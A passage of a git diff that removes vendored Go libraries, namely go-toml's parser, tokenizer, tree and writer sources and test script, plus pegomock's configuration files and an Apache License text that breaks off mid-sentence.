p.getToken() - p.assume(tokenEqual) - value := p.parseRvalue() - tree.Set(key.val, value) - case tokenComma: - if previous == nil { - p.raiseError(follow, "inline table cannot start with a comma") - } - if tokenIsComma(previous) { - p.raiseError(follow, "need field between two commas in inline table") - } - p.getToken() - default: - p.raiseError(follow, "unexpected token type in inline table: %s", follow.typ.String()) - } - previous = follow - } - if tokenIsComma(previous) { - p.raiseError(previous, "trailing comma at the end of inline table") - } - return tree -} - -func (p *tomlParser) parseArray() interface{} { - var array []interface{} - arrayType := reflect.TypeOf(nil) - for { - follow := p.peek() - if follow == nil || follow.typ == tokenEOF { - p.raiseError(follow, "unterminated array") - } - if follow.typ == tokenRightBracket { - p.getToken() - break - } - val := p.parseRvalue() - if arrayType == nil { - arrayType = reflect.TypeOf(val) - } - if reflect.TypeOf(val) != arrayType { - p.raiseError(follow, "mixed types in array") - } - array = append(array, val) - follow = p.peek() - if follow == nil || follow.typ == tokenEOF { - p.raiseError(follow, "unterminated array") - } - if follow.typ != tokenRightBracket && follow.typ != tokenComma { - p.raiseError(follow, "missing comma") - } - if follow.typ == tokenComma { - p.getToken() - } - } - // An array of Trees is actually an array of inline - // tables, which is a shorthand for a table array. If the - // array was not converted from []interface{} to []*Tree, - // the two notations would not be equivalent. - if arrayType == reflect.TypeOf(newTree()) { - tomlArray := make([]*Tree, len(array)) - for i, v := range array { - tomlArray[i] = v.(*Tree) - } - return tomlArray - } - return array -} - -func parseToml(flow chan token) *Tree { - result := newTree() - result.position = Position{1, 1} - parser := &tomlParser{ - flow: flow, - tree: result, - tokensBuffer: make([]token, 0), - currentTable: make([]string, 0), - seenTableKeys: make([]string, 0), - } - parser.run() - return result -} - -func init() { - numberUnderscoreInvalidRegexp = regexp.MustCompile(`([^\d]_|_[^\d]|_$|^_)`) -} diff --git a/vendor/github.com/pelletier/go-toml/position.go b/vendor/github.com/pelletier/go-toml/position.go deleted file mode 100644 index c17bff87ba..0000000000 --- a/vendor/github.com/pelletier/go-toml/position.go +++ /dev/null @@ -1,29 +0,0 @@ -// Position support for go-toml - -package toml - -import ( - "fmt" -) - -// Position of a document element within a TOML document. -// -// Line and Col are both 1-indexed positions for the element's line number and -// column number, respectively. Values of zero or less will cause Invalid(), -// to return true. -type Position struct { - Line int // line within the document - Col int // column within the line -} - -// String representation of the position. -// Displays 1-indexed line and column numbers. -func (p Position) String() string { - return fmt.Sprintf("(%d, %d)", p.Line, p.Col) -} - -// Invalid returns whether or not the position is valid (i.e. with negative or -// null values) -func (p Position) Invalid() bool { - return p.Line <= 0 || p.Col <= 0 -} diff --git a/vendor/github.com/pelletier/go-toml/test.sh b/vendor/github.com/pelletier/go-toml/test.sh deleted file mode 100644 index d2d2aed164..0000000000 --- a/vendor/github.com/pelletier/go-toml/test.sh +++ /dev/null @@ -1,88 +0,0 @@ -#!/bin/bash -# fail out of the script if anything here fails -set -e - -# set the path to the present working directory -export GOPATH=`pwd` - -function git_clone() { - path=$1 - branch=$2 - version=$3 - if [ ! -d "src/$path" ]; then - mkdir -p src/$path - git clone https://$path.git src/$path - fi - pushd src/$path - git checkout "$branch" - git reset --hard "$version" - popd -} - -# Remove potential previous runs -rm -rf src test_program_bin toml-test - -# Run go vet -go vet ./... - -go get github.com/pelletier/go-buffruneio -go get github.com/davecgh/go-spew/spew - -# get code for BurntSushi TOML validation -# pinning all to 'HEAD' for version 0.3.x work (TODO: pin to commit hash when tests stabilize) -git_clone github.com/BurntSushi/toml master HEAD -git_clone github.com/BurntSushi/toml-test master HEAD #was: 0.2.0 HEAD - -# build the BurntSushi test application -go build -o toml-test github.com/BurntSushi/toml-test - -# vendorize the current lib for testing -# NOTE: this basically mocks an install without having to go back out to github for code -mkdir -p src/github.com/pelletier/go-toml/cmd -mkdir -p src/github.com/pelletier/go-toml/query -cp *.go *.toml src/github.com/pelletier/go-toml -cp -R cmd/* src/github.com/pelletier/go-toml/cmd -cp -R query/* src/github.com/pelletier/go-toml/query -go build -o test_program_bin src/github.com/pelletier/go-toml/cmd/test_program.go - -# Run basic unit tests -go test github.com/pelletier/go-toml -covermode=count -coverprofile=coverage.out -go test github.com/pelletier/go-toml/cmd/tomljson -go test github.com/pelletier/go-toml/query - -# run the entire BurntSushi test suite -if [[ $# -eq 0 ]] ; then - echo "Running all BurntSushi tests" - ./toml-test ./test_program_bin | tee test_out -else - # run a specific test - test=$1 - test_path='src/github.com/BurntSushi/toml-test/tests' - valid_test="$test_path/valid/$test" - invalid_test="$test_path/invalid/$test" - - if [ -e "$valid_test.toml" ]; then - echo "Valid Test TOML for $test:" - echo "====" - cat "$valid_test.toml" - - echo "Valid Test JSON for $test:" - echo "====" - cat "$valid_test.json" - - echo "Go-TOML Output for $test:" - echo "====" - cat "$valid_test.toml" | ./test_program_bin - fi - - if [ -e "$invalid_test.toml" ]; then - echo "Invalid Test TOML for $test:" - echo "====" - cat "$invalid_test.toml" - - echo "Go-TOML Output for $test:" - echo "====" - echo "go-toml Output:" - cat "$invalid_test.toml" | ./test_program_bin - fi -fi diff --git a/vendor/github.com/pelletier/go-toml/token.go b/vendor/github.com/pelletier/go-toml/token.go deleted file mode 100644 index 5581fe0bcc..0000000000 --- a/vendor/github.com/pelletier/go-toml/token.go +++ /dev/null @@ -1,140 +0,0 @@ -package toml - -import ( - "fmt" - "strconv" - "unicode" -) - -// Define tokens -type tokenType int - -const ( - eof = -(iota + 1) -) - -const ( - tokenError tokenType = iota - tokenEOF - tokenComment - tokenKey - tokenString - tokenInteger - tokenTrue - tokenFalse - tokenFloat - tokenEqual - tokenLeftBracket - tokenRightBracket - tokenLeftCurlyBrace - tokenRightCurlyBrace - tokenLeftParen - tokenRightParen - tokenDoubleLeftBracket - tokenDoubleRightBracket - tokenDate - tokenKeyGroup - tokenKeyGroupArray - tokenComma - tokenColon - tokenDollar - tokenStar - tokenQuestion - tokenDot - tokenDotDot - tokenEOL -) - -var tokenTypeNames = []string{ - "Error", - "EOF", - "Comment", - "Key", - "String", - "Integer", - "True", - "False", - "Float", - "=", - "[", - "]", - "{", - "}", - "(", - ")", - "]]", - "[[", - "Date", - "KeyGroup", - "KeyGroupArray", - ",", - ":", - "$", - "*", - "?", - ".", - "..", - "EOL", -} - -type token struct { - Position - typ tokenType - val string -} - -func (tt tokenType) String() string { - idx := int(tt) - if idx < len(tokenTypeNames) { - return tokenTypeNames[idx] - } - return "Unknown" -} - -func (t token) Int() int { - if result, err := strconv.Atoi(t.val); err != nil { - panic(err) - } else { - return result - } -} - -func (t token) String() string { - switch t.typ { - case tokenEOF: - return "EOF" - case tokenError: - return t.val - } - - return fmt.Sprintf("%q", t.val) -} - -func isSpace(r rune) bool { - return r == ' ' || r == '\t' -} - -func isAlphanumeric(r rune) bool { - return unicode.IsLetter(r) || r == '_' -} - -func isKeyChar(r rune) bool { - // Keys start with the first character that isn't whitespace or [ and end - // with the last non-whitespace character before the equals sign. Keys - // cannot contain a # character." - return !(r == '\r' || r == '\n' || r == eof || r == '=') -} - -func isKeyStartChar(r rune) bool { - return !(isSpace(r) || r == '\r' || r == '\n' || r == eof || r == '[') -} - -func isDigit(r rune) bool { - return unicode.IsNumber(r) -} - -func isHexDigit(r rune) bool { - return isDigit(r) || - (r >= 'a' && r <= 'f') || - (r >= 'A' && r <= 'F') -} diff --git a/vendor/github.com/pelletier/go-toml/toml.go b/vendor/github.com/pelletier/go-toml/toml.go deleted file mode 100644 index 2d2f640497..0000000000 --- a/vendor/github.com/pelletier/go-toml/toml.go +++ /dev/null @@ -1,281 +0,0 @@ -package toml - -import ( - "errors" - "fmt" - "io" - "os" - "runtime" - "strings" -) - -type tomlValue struct { - value interface{} // string, int64, uint64, float64, bool, time.Time, [] of any of this list - position Position -} - -// Tree is the result of the parsing of a TOML file. -type Tree struct { - values map[string]interface{} // string -> *tomlValue, *Tree, []*Tree - position Position -} - -func newTree() *Tree { - return &Tree{ - values: make(map[string]interface{}), - position: Position{}, - } -} - -// TreeFromMap initializes a new Tree object using the given map. -func TreeFromMap(m map[string]interface{}) (*Tree, error) { - result, err := toTree(m) - if err != nil { - return nil, err - } - return result.(*Tree), nil -} - -// Position returns the position of the tree. -func (t *Tree) Position() Position { - return t.position -} - -// Has returns a boolean indicating if the given key exists. -func (t *Tree) Has(key string) bool { - if key == "" { - return false - } - return t.HasPath(strings.Split(key, ".")) -} - -// HasPath returns true if the given path of keys exists, false otherwise. -func (t *Tree) HasPath(keys []string) bool { - return t.GetPath(keys) != nil -} - -// Keys returns the keys of the toplevel tree (does not recurse). -func (t *Tree) Keys() []string { - keys := make([]string, len(t.values)) - i := 0 - for k := range t.values { - keys[i] = k - i++ - } - return keys -} - -// Get the value at key in the Tree. -// Key is a dot-separated path (e.g. a.b.c). -// Returns nil if the path does not exist in the tree. -// If keys is of length zero, the current tree is returned. -func (t *Tree) Get(key string) interface{} { - if key == "" { - return t - } - comps, err := parseKey(key) - if err != nil { - return nil - } - return t.GetPath(comps) -} - -// GetPath returns the element in the tree indicated by 'keys'. -// If keys is of length zero, the current tree is returned. -func (t *Tree) GetPath(keys []string) interface{} { - if len(keys) == 0 { - return t - } - subtree := t - for _, intermediateKey := range keys[:len(keys)-1] { - value, exists := subtree.values[intermediateKey] - if !exists { - return nil - } - switch node := value.(type) { - case *Tree: - subtree = node - case []*Tree: - // go to most recent element - if len(node) == 0 { - return nil - } - subtree = node[len(node)-1] - default: - return nil // cannot navigate through other node types - } - } - // branch based on final node type - switch node := subtree.values[keys[len(keys)-1]].(type) { - case *tomlValue: - return node.value - default: - return node - } -} - -// GetPosition returns the position of the given key. -func (t *Tree) GetPosition(key string) Position { - if key == "" { - return t.position - } - return t.GetPositionPath(strings.Split(key, ".")) -} - -// GetPositionPath returns the element in the tree indicated by 'keys'. -// If keys is of length zero, the current tree is returned. -func (t *Tree) GetPositionPath(keys []string) Position { - if len(keys) == 0 { - return t.position - } - subtree := t - for _, intermediateKey := range keys[:len(keys)-1] { - value, exists := subtree.values[intermediateKey] - if !exists { - return Position{0, 0} - } - switch node := value.(type) { - case *Tree: - subtree = node - case []*Tree: - // go to most recent element - if len(node) == 0 { - return Position{0, 0} - } - subtree = node[len(node)-1] - default: - return Position{0, 0} - } - } - // branch based on final node type - switch node := subtree.values[keys[len(keys)-1]].(type) { - case *tomlValue: - return node.position - case *Tree: - return node.position - case []*Tree: - // go to most recent element - if len(node) == 0 { - return Position{0, 0} - } - return node[len(node)-1].position - default: - return Position{0, 0} - } -} - -// GetDefault works like Get but with a default value -func (t *Tree) GetDefault(key string, def interface{}) interface{} { - val := t.Get(key) - if val == nil { - return def - } - return val -} - -// Set an element in the tree. -// Key is a dot-separated path (e.g. a.b.c). -// Creates all necessary intermediate trees, if needed. -func (t *Tree) Set(key string, value interface{}) { - t.SetPath(strings.Split(key, "."), value) -} - -// SetPath sets an element in the tree. -// Keys is an array of path elements (e.g. {"a","b","c"}). -// Creates all necessary intermediate trees, if needed. -func (t *Tree) SetPath(keys []string, value interface{}) { - subtree := t - for _, intermediateKey := range keys[:len(keys)-1] { - nextTree, exists := subtree.values[intermediateKey] - if !exists { - nextTree = newTree() - subtree.values[intermediateKey] = nextTree // add new element here - } - switch node := nextTree.(type) { - case *Tree: - subtree = node - case []*Tree: - // go to most recent element - if len(node) == 0 { - // create element if it does not exist - subtree.values[intermediateKey] = append(node, newTree()) - } - subtree = node[len(node)-1] - } - } - - var toInsert interface{} - - switch value.(type) { - case *Tree: - toInsert = value - case []*Tree: - toInsert = value - case *tomlValue: - toInsert = value - default: - toInsert = &tomlValue{value: value} - } - - subtree.values[keys[len(keys)-1]] = toInsert -} - -// createSubTree takes a tree and a key and create the necessary intermediate -// subtrees to create a subtree at that point. In-place. -// -// e.g. passing a.b.c will create (assuming tree is empty) tree[a], tree[a][b] -// and tree[a][b][c] -// -// Returns nil on success, error object on failure -func (t *Tree) createSubTree(keys []string, pos Position) error { - subtree := t - for _, intermediateKey := range keys { - nextTree, exists := subtree.values[intermediateKey] - if !exists { - tree := newTree() - tree.position = pos - subtree.values[intermediateKey] = tree - nextTree = tree - } - - switch node := nextTree.(type) { - case []*Tree: - subtree = node[len(node)-1] - case *Tree: - subtree = node - default: - return fmt.Errorf("unknown type for path %s (%s): %T (%#v)", - strings.Join(keys, "."), intermediateKey, nextTree, nextTree) - } - } - return nil -} - -// LoadReader creates a Tree from any io.Reader. -func LoadReader(reader io.Reader) (tree *Tree, err error) { - defer func() { - if r := recover(); r != nil { - if _, ok := r.(runtime.Error); ok { - panic(r) - } - err = errors.New(r.(string)) - } - }() - tree = parseToml(lexToml(reader)) - return -} - -// Load creates a Tree from a string. -func Load(content string) (tree *Tree, err error) { - return LoadReader(strings.NewReader(content)) -} - -// LoadFile creates a Tree from a file. -func LoadFile(path string) (tree *Tree, err error) { - file, err := os.Open(path) - if err != nil { - return nil, err - } - defer file.Close() - return LoadReader(file) -} diff --git a/vendor/github.com/pelletier/go-toml/tomltree_create.go b/vendor/github.com/pelletier/go-toml/tomltree_create.go deleted file mode 100644 index 19d1c0dc66..0000000000 --- a/vendor/github.com/pelletier/go-toml/tomltree_create.go +++ /dev/null @@ -1,142 +0,0 @@ -package toml - -import ( - "fmt" - "reflect" - "time" -) - -var kindToType = [reflect.String + 1]reflect.Type{ - reflect.Bool: reflect.TypeOf(true), - reflect.String: reflect.TypeOf(""), - reflect.Float32: reflect.TypeOf(float64(1)), - reflect.Float64: reflect.TypeOf(float64(1)), - reflect.Int: reflect.TypeOf(int64(1)), - reflect.Int8: reflect.TypeOf(int64(1)), - reflect.Int16: reflect.TypeOf(int64(1)), - reflect.Int32: reflect.TypeOf(int64(1)), - reflect.Int64: reflect.TypeOf(int64(1)), - reflect.Uint: reflect.TypeOf(uint64(1)), - reflect.Uint8: reflect.TypeOf(uint64(1)), - reflect.Uint16: reflect.TypeOf(uint64(1)), - reflect.Uint32: reflect.TypeOf(uint64(1)), - reflect.Uint64: reflect.TypeOf(uint64(1)), -} - -// typeFor returns a reflect.Type for a reflect.Kind, or nil if none is found. -// supported values: -// string, bool, int64, uint64, float64, time.Time, int, int8, int16, int32, uint, uint8, uint16, uint32, float32 -func typeFor(k reflect.Kind) reflect.Type { - if k > 0 && int(k) < len(kindToType) { - return kindToType[k] - } - return nil -} - -func simpleValueCoercion(object interface{}) (interface{}, error) { - switch original := object.(type) { - case string, bool, int64, uint64, float64, time.Time: - return original, nil - case int: - return int64(original), nil - case int8: - return int64(original), nil - case int16: - return int64(original), nil - case int32: - return int64(original), nil - case uint: - return uint64(original), nil - case uint8: - return uint64(original), nil - case uint16: - return uint64(original), nil - case uint32: - return uint64(original), nil - case float32: - return float64(original), nil - case fmt.Stringer: - return original.String(), nil - default: - return nil, fmt.Errorf("cannot convert type %T to Tree", object) - } -} - -func sliceToTree(object interface{}) (interface{}, error) { - // arrays are a bit tricky, since they can represent either a - // collection of simple values, which is represented by one - // *tomlValue, or an array of tables, which is represented by an - // array of *Tree. - - // holding the assumption that this function is called from toTree only when value.Kind() is Array or Slice - value := reflect.ValueOf(object) - insideType := value.Type().Elem() - length := value.Len() - if length > 0 { - insideType = reflect.ValueOf(value.Index(0).Interface()).Type() - } - if insideType.Kind() == reflect.Map { - // this is considered as an array of tables - tablesArray := make([]*Tree, 0, length) - for i := 0; i < length; i++ { - table := value.Index(i) - tree, err := toTree(table.Interface()) - if err != nil { - return nil, err - } - tablesArray = append(tablesArray, tree.(*Tree)) - } - return tablesArray, nil - } - - sliceType := typeFor(insideType.Kind()) - if sliceType == nil { - sliceType = insideType - } - - arrayValue := reflect.MakeSlice(reflect.SliceOf(sliceType), 0, length) - - for i := 0; i < length; i++ { - val := value.Index(i).Interface() - simpleValue, err := simpleValueCoercion(val) - if err != nil { - return nil, err - } - arrayValue = reflect.Append(arrayValue, reflect.ValueOf(simpleValue)) - } - return &tomlValue{arrayValue.Interface(), Position{}}, nil -} - -func toTree(object interface{}) (interface{}, error) { - value := reflect.ValueOf(object) - - if value.Kind() == reflect.Map { - values := map[string]interface{}{} - keys := value.MapKeys() - for _, key := range keys { - if key.Kind() != reflect.String { - if _, ok := key.Interface().(string); !ok { - return nil, fmt.Errorf("map key needs to be a string, not %T (%v)", key.Interface(), key.Kind()) - } - } - - v := value.MapIndex(key) - newValue, err := toTree(v.Interface()) - if err != nil { - return nil, err - } - values[key.String()] = newValue - } - return &Tree{values, Position{}}, nil - } - - if value.Kind() == reflect.Array || value.Kind() == reflect.Slice { - return sliceToTree(object) - } - - simpleValue, err := simpleValueCoercion(object) - if err != nil { - return nil, err - } - return &tomlValue{simpleValue, Position{}}, nil -} diff --git a/vendor/github.com/pelletier/go-toml/tomltree_write.go b/vendor/github.com/pelletier/go-toml/tomltree_write.go deleted file mode 100644 index 4aaf49140e..0000000000 --- a/vendor/github.com/pelletier/go-toml/tomltree_write.go +++ /dev/null @@ -1,217 +0,0 @@ -package toml - -import ( - "bytes" - "fmt" - "io" - "reflect" - "sort" - "strconv" - "strings" - "time" -) - -// encodes a string to a TOML-compliant string value -func encodeTomlString(value string) string { - result := "" - for _, rr := range value { - switch rr { - case '\b': - result += "\\b" - case '\t': - result += "\\t" - case '\n': - result += "\\n" - case '\f': - result += "\\f" - case '\r': - result += "\\r" - case '"': - result += "\\\"" - case '\\': - result += "\\\\" - default: - intRr := uint16(rr) - if intRr < 0x001F { - result += fmt.Sprintf("\\u%0.4X", intRr) - } else { - result += string(rr) - } - } - } - return result -} - -func tomlValueStringRepresentation(v interface{}) (string, error) { - switch value := v.(type) { - case uint64: - return strconv.FormatUint(value, 10), nil - case int64: - return strconv.FormatInt(value, 10), nil - case float64: - return strconv.FormatFloat(value, 'f', -1, 32), nil - case string: - return "\"" + encodeTomlString(value) + "\"", nil - case []byte: - b, _ := v.([]byte) - return tomlValueStringRepresentation(string(b)) - case bool: - if value { - return "true", nil - } - return "false", nil - case time.Time: - return value.Format(time.RFC3339), nil - case nil: - return "", nil - } - - rv := reflect.ValueOf(v) - - if rv.Kind() == reflect.Slice { - values := []string{} - for i := 0; i < rv.Len(); i++ { - item := rv.Index(i).Interface() - itemRepr, err := tomlValueStringRepresentation(item) - if err != nil { - return "", err - } - values = append(values, itemRepr) - } - return "[" + strings.Join(values, ",") + "]", nil - } - return "", fmt.Errorf("unsupported value type %T: %v", v, v) -} - -func (t *Tree) writeTo(w io.Writer, indent, keyspace string, bytesCount int64) (int64, error) { - simpleValuesKeys := make([]string, 0) - complexValuesKeys := make([]string, 0) - - for k := range t.values { - v := t.values[k] - switch v.(type) { - case *Tree, []*Tree: - complexValuesKeys = append(complexValuesKeys, k) - default: - simpleValuesKeys = append(simpleValuesKeys, k) - } - } - - sort.Strings(simpleValuesKeys) - sort.Strings(complexValuesKeys) - - for _, k := range simpleValuesKeys { - v, ok := t.values[k].(*tomlValue) - if !ok { - return bytesCount, fmt.Errorf("invalid value type at %s: %T", k, t.values[k]) - } - - repr, err := tomlValueStringRepresentation(v.value) - if err != nil { - return bytesCount, err - } - - kvRepr := fmt.Sprintf("%s%s = %s\n", indent, k, repr) - writtenBytesCount, err := w.Write([]byte(kvRepr)) - bytesCount += int64(writtenBytesCount) - if err != nil { - return bytesCount, err - } - } - - for _, k := range complexValuesKeys { - v := t.values[k] - - combinedKey := k - if keyspace != "" { - combinedKey = keyspace + "." + combinedKey - } - - switch node := v.(type) { - // node has to be of those two types given how keys are sorted above - case *Tree: - tableName := fmt.Sprintf("\n%s[%s]\n", indent, combinedKey) - writtenBytesCount, err := w.Write([]byte(tableName)) - bytesCount += int64(writtenBytesCount) - if err != nil { - return bytesCount, err - } - bytesCount, err = node.writeTo(w, indent+" ", combinedKey, bytesCount) - if err != nil { - return bytesCount, err - } - case []*Tree: - for _, subTree := range node { - tableArrayName := fmt.Sprintf("\n%s[[%s]]\n", indent, combinedKey) - writtenBytesCount, err := w.Write([]byte(tableArrayName)) - bytesCount += int64(writtenBytesCount) - if err != nil { - return bytesCount, err - } - - bytesCount, err = subTree.writeTo(w, indent+" ", combinedKey, bytesCount) - if err != nil { - return bytesCount, err - } - } - } - } - - return bytesCount, nil -} - -// WriteTo encode the Tree as Toml and writes it to the writer w. -// Returns the number of bytes written in case of success, or an error if anything happened. -func (t *Tree) WriteTo(w io.Writer) (int64, error) { - return t.writeTo(w, "", "", 0) -} - -// ToTomlString generates a human-readable representation of the current tree. -// Output spans multiple lines, and is suitable for ingest by a TOML parser. -// If the conversion cannot be performed, ToString returns a non-nil error. -func (t *Tree) ToTomlString() (string, error) { - var buf bytes.Buffer - _, err := t.WriteTo(&buf) - if err != nil { - return "", err - } - return buf.String(), nil -} - -// String generates a human-readable representation of the current tree. -// Alias of ToString. Present to implement the fmt.Stringer interface. -func (t *Tree) String() string { - result, _ := t.ToTomlString() - return result -} - -// ToMap recursively generates a representation of the tree using Go built-in structures. -// The following types are used: -// -// * bool -// * float64 -// * int64 -// * string -// * uint64 -// * time.Time -// * map[string]interface{} (where interface{} is any of this list) -// * []interface{} (where interface{} is any of this list) -func (t *Tree) ToMap() map[string]interface{} { - result := map[string]interface{}{} - - for k, v := range t.values { - switch node := v.(type) { - case []*Tree: - var array []interface{} - for _, item := range node { - array = append(array, item.ToMap()) - } - result[k] = array - case *Tree: - result[k] = node.ToMap() - case *tomlValue: - result[k] = node.value - } - } - return result -} diff --git a/vendor/github.com/petergtz/pegomock/.gitignore b/vendor/github.com/petergtz/pegomock/.gitignore deleted file mode 100644 index 153ff9570f..0000000000 --- a/vendor/github.com/petergtz/pegomock/.gitignore +++ /dev/null @@ -1,8 +0,0 @@ -mock_display_test.go -debug.test -.vscode -*.coverprofile -.idea -*.iml -dist -pegomock/pegomock diff --git a/vendor/github.com/petergtz/pegomock/.goreleaser.yml b/vendor/github.com/petergtz/pegomock/.goreleaser.yml deleted file mode 100644 index 122cdf10fa..0000000000 --- a/vendor/github.com/petergtz/pegomock/.goreleaser.yml +++ /dev/null @@ -1,26 +0,0 @@ -# This is an example goreleaser.yaml file with some sane defaults. -# Make sure to check the documentation at http://goreleaser.com -builds: -- main: ./pegomock - env: - - CGO_ENABLED=0 - goos: - - darwin - - linux - - windows - goarch: - - amd64 - -archive: - replacements: - # darwin: Darwin - # linux: Linux - # windows: Windows - amd64: x86_64 - files: - - none* - format: binary -checksum: - name_template: 'checksums.txt' -changelog: - skip: true diff --git a/vendor/github.com/petergtz/pegomock/.travis.yml b/vendor/github.com/petergtz/pegomock/.travis.yml deleted file mode 100644 index 4d5f8f79ed..0000000000 --- a/vendor/github.com/petergtz/pegomock/.travis.yml +++ /dev/null @@ -1,16 +0,0 @@ -language: go -go: - - stable - -install: - - go get github.com/onsi/gomega - - go get github.com/onsi/ginkgo/ginkgo - - go get gopkg.in/alecthomas/kingpin.v2 - - go get golang.org/x/tools/go/loader - -script: - - ./scripts/run_tests.sh - -branches: - except: - - /^wip.*$/ diff --git a/vendor/github.com/petergtz/pegomock/LICENSE b/vendor/github.com/petergtz/pegomock/LICENSE deleted file mode 100644 index d645695673..0000000000 --- a/vendor/github.com/petergtz/pegomock/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express 